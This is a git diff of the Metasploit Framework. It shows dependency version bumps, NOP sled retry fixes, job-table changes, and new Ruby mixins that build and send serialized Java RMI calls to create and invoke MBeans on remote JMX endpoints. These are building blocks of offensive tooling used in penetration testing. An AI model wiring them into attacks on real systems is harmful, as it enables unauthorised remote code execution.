Updating master to metasploit/master
commit
d53be873dc
|
@ -1 +1 @@
|
|||
2.1.6
|
||||
2.1.7
|
||||
|
|
|
@ -25,7 +25,7 @@ script:
|
|||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.6'
|
||||
- '2.1.7'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
10
COPYING
10
COPYING
|
@ -5,15 +5,15 @@ Redistribution and use in source and binary forms, with or without modification,
|
|||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
|
|
|
@ -25,7 +25,7 @@ PATH
|
|||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-framework (= 4.11.4)
|
||||
metasploit_data_models (= 1.2.7)
|
||||
metasploit_data_models (= 1.2.9)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.4)
|
||||
metasploit-framework (= 4.11.4)
|
||||
|
@ -126,7 +126,7 @@ GEM
|
|||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.15)
|
||||
metasploit_data_models (1.2.7)
|
||||
metasploit_data_models (1.2.9)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
|
|
|
@ -18,12 +18,12 @@ module Metasploit
|
|||
hash = '-' + version_info['build_framework_rev']
|
||||
else
|
||||
# determine if git is installed
|
||||
void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
|
||||
git_installed = system("git --version >>#{void} 2>&1")
|
||||
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
|
||||
git_installed = system("git --version > #{null} 2>&1")
|
||||
|
||||
# get the hash of the HEAD commit
|
||||
if git_installed && File.exist?(File.join(root, '.git'))
|
||||
hash = '-' + `git rev-parse HEAD`[0, 8]
|
||||
hash = '-' + `git rev-parse --short HEAD`
|
||||
end
|
||||
end
|
||||
hash.strip
|
||||
|
|
|
@ -638,13 +638,10 @@ class ReadableText
|
|||
# @param col [Integer] the column wrap width.
|
||||
# @return [String] the formatted list of running jobs.
|
||||
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
|
||||
columns = [ 'Id', 'Name' ]
|
||||
columns = [ 'Id', 'Name', "Payload", "LPORT" ]
|
||||
|
||||
if (verbose)
|
||||
columns << "Payload"
|
||||
columns << "LPORT"
|
||||
columns << "URIPATH"
|
||||
columns << "Start Time"
|
||||
columns += [ "URIPATH", "Start Time" ]
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
|
@ -653,16 +650,19 @@ class ReadableText
|
|||
'Columns' => columns
|
||||
)
|
||||
|
||||
|
||||
# jobs are stored as a hash with the keys being a numeric job_id.
|
||||
framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|
|
||||
# Job context is stored as an Array with the 0th element being
|
||||
# the running module. If that module is an exploit, ctx will also
|
||||
# contain its payload.
|
||||
ctx = framework.jobs[k].ctx
|
||||
row = [ k, framework.jobs[k].name ]
|
||||
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
|
||||
row << (ctx[0].datastore['LPORT'] || "")
|
||||
|
||||
if (verbose)
|
||||
ctx = framework.jobs[k].ctx
|
||||
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
|
||||
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
|
||||
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
|
||||
row << (ctx[0].datastore['LPORT'] || "")
|
||||
row << (uripath || "")
|
||||
row << (framework.jobs[k].start_time || "")
|
||||
end
|
||||
|
|
|
@ -72,13 +72,6 @@ require 'msf/http/wordpress'
|
|||
require 'msf/http/typo3'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -230,4 +230,4 @@ module Msf::DBManager::Vuln
|
|||
wspace.vulns
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -342,14 +342,18 @@ class EncodedPayload
|
|||
self.nop_sled = nop.generate_sled(self.nop_sled_size,
|
||||
'BadChars' => reqs['BadChars'],
|
||||
'SaveRegisters' => save_regs)
|
||||
|
||||
if nop_sled && nop_sled.length == nop_sled_size
|
||||
break
|
||||
else
|
||||
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload", 'core', LEV_1)
|
||||
end
|
||||
rescue
|
||||
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
|
||||
'core', LEV_1)
|
||||
|
||||
self.nop = nil
|
||||
end
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
if (self.nop_sled == nil)
|
||||
|
|
|
@ -1034,12 +1034,16 @@ class Exploit < Msf::Module
|
|||
nop_sled = nop.generate_sled(count,
|
||||
'BadChars' => payload_badchars || '',
|
||||
'SaveRegisters' => save_regs)
|
||||
|
||||
if nop_sled && nop_sled.length == count
|
||||
break
|
||||
else
|
||||
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit", 'core', LEV_0)
|
||||
end
|
||||
rescue
|
||||
wlog("#{self.refname}: Nop generator #{nop.refname} failed to generate sled for exploit: #{$!}",
|
||||
'core', LEV_0)
|
||||
end
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
nop_sled
|
||||
|
|
|
@ -14,6 +14,8 @@
|
|||
###
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/java/rmi/util'
|
||||
require 'msf/core/exploit/java/rmi/client'
|
||||
|
||||
module Msf
|
||||
module Exploit::Java
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Builder
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Fixnum] :object_number Random to identify the object.
|
||||
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
||||
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
||||
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
||||
# at the same time.
|
||||
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||
# it is -1.
|
||||
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||
# representing the method to call.
|
||||
# @option opts [Array] :arguments
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
operation = opts[:operation] || -1
|
||||
hash = opts[:hash] || 0
|
||||
arguments = opts[:arguments] || []
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
||||
number: uid_number,
|
||||
time: uid_time,
|
||||
count: uid_count
|
||||
)
|
||||
|
||||
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
||||
object_number: object_number,
|
||||
uid: uid,
|
||||
operation: operation,
|
||||
hash: hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,168 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java/serialization'
|
||||
require 'stringio'
|
||||
require 'msf/core/exploit/java/rmi/util'
|
||||
require 'msf/core/exploit/java/rmi/builder'
|
||||
require 'msf/core/exploit/java/rmi/client/registry'
|
||||
require 'msf/core/exploit/java/rmi/client/jmx'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Util
|
||||
include Msf::Exploit::Remote::Java::Rmi::Builder
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Registry
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1])
|
||||
], Msf::Exploit::Remote::Java::Rmi::Client
|
||||
)
|
||||
end
|
||||
|
||||
# Returns the timeout to wait for data between read iterations
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def read_loop_timeout
|
||||
datastore['RmiReadLoopTimeout'] || 1
|
||||
end
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the target port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the RMI server peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Sends a RMI header stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_header
|
||||
def send_header(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_header(opts)
|
||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||
end
|
||||
|
||||
# Sends a RMI CALL stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
call = opts[:call] || build_call(opts)
|
||||
nsock.put(call.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||
def send_dgc_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_dgc_ack(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Reads the Protocol Ack
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
ack
|
||||
end
|
||||
|
||||
# Reads a ReturnData message and returns the java serialized stream
|
||||
# with the return data value.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
return_data.return_value
|
||||
end
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param nsock [Rex::Socket::Tcp]
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout)
|
||||
data = ''
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
|
||||
while res && nsock.has_read_data?(loop_timeout)
|
||||
data << res
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
data << res if res
|
||||
data
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,27 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/exploit/java/rmi/client/jmx/server'
|
||||
require 'msf/core/exploit/java/rmi/client/jmx/connection'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection
|
||||
|
||||
OBJECT_NAME_UID = 1081892073854801359
|
||||
BYTE_ARRAY_UID = -5984413125824719648
|
||||
MARSHALLED_OBJECT_UID = 8988374069173025854
|
||||
STRING_ARRAY_UID = -5921575005990323385
|
||||
OBJECT_ARRAY_UID = -8012369246846506644
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,128 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/java/rmi/client/jmx/connection/builder'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
# This mixin provides methods to simulate calls to the Java
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
||||
# interface
|
||||
module Connection
|
||||
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
||||
def send_jmx_get_object_instance(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_get_object_instance(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'java.util.HashSet'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,238 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Connection
|
||||
module Builder
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
def build_jmx_get_object_instance(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
arguments = build_jmx_get_object_instance_args(name)
|
||||
|
||||
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param name [String] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
def build_jmx_create_mbean(opts = {})
|
||||
name = opts[:name] || ''
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
arguments = build_jmx_create_mbean_args(name)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param name [Hash] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# used to invoke an MBean method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||
# @see #build_jmx_invoke_args
|
||||
def build_jmx_invoke(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
||||
|
||||
arguments = build_jmx_invoke_args(opts)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :object the MBean name
|
||||
# @option opts [String] :method the method name
|
||||
# @option opts [Hash] :args the method arguments
|
||||
# @return [Array]
|
||||
def build_jmx_invoke_args(opts = {})
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
args = opts[:args] || {}
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
||||
marshall_object,
|
||||
new_array,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def build_invoke_arguments_obj_bytes(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/java/rmi/client/jmx/server/builder'
|
||||
require 'msf/core/exploit/java/rmi/client/jmx/server/parser'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Java
|
||||
